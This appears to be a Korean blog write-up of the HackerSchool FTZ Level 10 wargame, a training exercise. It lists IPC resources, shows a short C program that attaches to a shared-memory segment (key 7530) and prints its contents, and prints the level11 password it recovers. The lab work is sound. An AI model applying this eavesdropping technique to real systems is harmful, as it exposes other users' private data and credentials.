728x90

HackerSchool FTZ Level 10 WriteUp


๋‘ ๋ช…์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋Œ€ํ™”๋ฐฉ์„ ์ด์šฉํ•˜์—ฌ ๋น„๋ฐ€์Šค๋Ÿฌ์šด ๋Œ€ํ™”๋ฅผ ๋‚˜๋ˆ„๊ณ  ์žˆ๋‹ค.
๊ทธ ๋Œ€ํ™”๋ฐฉ์€ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ด์šฉํ•˜์—ฌ ๋งŒ๋“ค์–ด์กŒ์œผ๋ฉฐ,
key_t์˜ ๊ฐ’์€ 7530์ด๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด ๋‘ ์‚ฌ๋žŒ์˜ ๋Œ€ํ™”๋ฅผ ๋„์ฒญํ•˜์—ฌ
level11์˜ ๊ถŒํ•œ์„ ์–ป์–ด๋ผ.

- ๋ ˆ๋ฒจ์„ ์™„๋ฃŒํ•˜์…จ๋‹ค๋ฉด ์†Œ์Šค๋Š” ์ง€์šฐ๊ณ  ๋‚˜๊ฐ€์ฃผ์„ธ์š”.

 IPC ์ž์› ๋ชฉ๋ก(๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ, ์„ธ๋งˆํฌ์–ด, ๋ฉ”์‹œ์ง€ ํ)์„ ์กฐํšŒํ•˜๋Š” icps ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž.

0x00001d6a(16) = 7530(10)

key๊ฐ€ 7530์ธ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ /tmp ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์ •๋ณด๋ฅผ ์ด์šฉํ•ด ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์ปดํŒŒ์ผํ•ด๋ณด์ž.

#include <stdio.h>
#include <sys/ipc.h>
#include <sys/shm.h>

main()
{
	int i;
	char *j;

	i = shmget(7530,1028,IPC_CREAT|0666); // ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ์˜ ID๋ฅผ ๋ฐ›๊ณ 
	j = shmat(i,NULL,0); // ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ์— ์—ฐ๊ฒฐํ•œ๋‹ค.

	printf("%s",j); // ๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•œ๋‹ค.
}

์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œ์ผœ๋ณด์ž.

what!@#$?

๋ฉ๋ฉ: level11์˜ ํŒจ์Šค์›Œ๋“œ๋Š”?
๊ตฌํƒ€: what!@#$?

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋ƒˆ์œผ๋‹ˆ ๋กœ๊ทธ์ธํ•ด๋ณด์ž.

level11์— ๋กœ๊ทธ์ธ๋˜์—ˆ๋‹ค.

728x90
๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!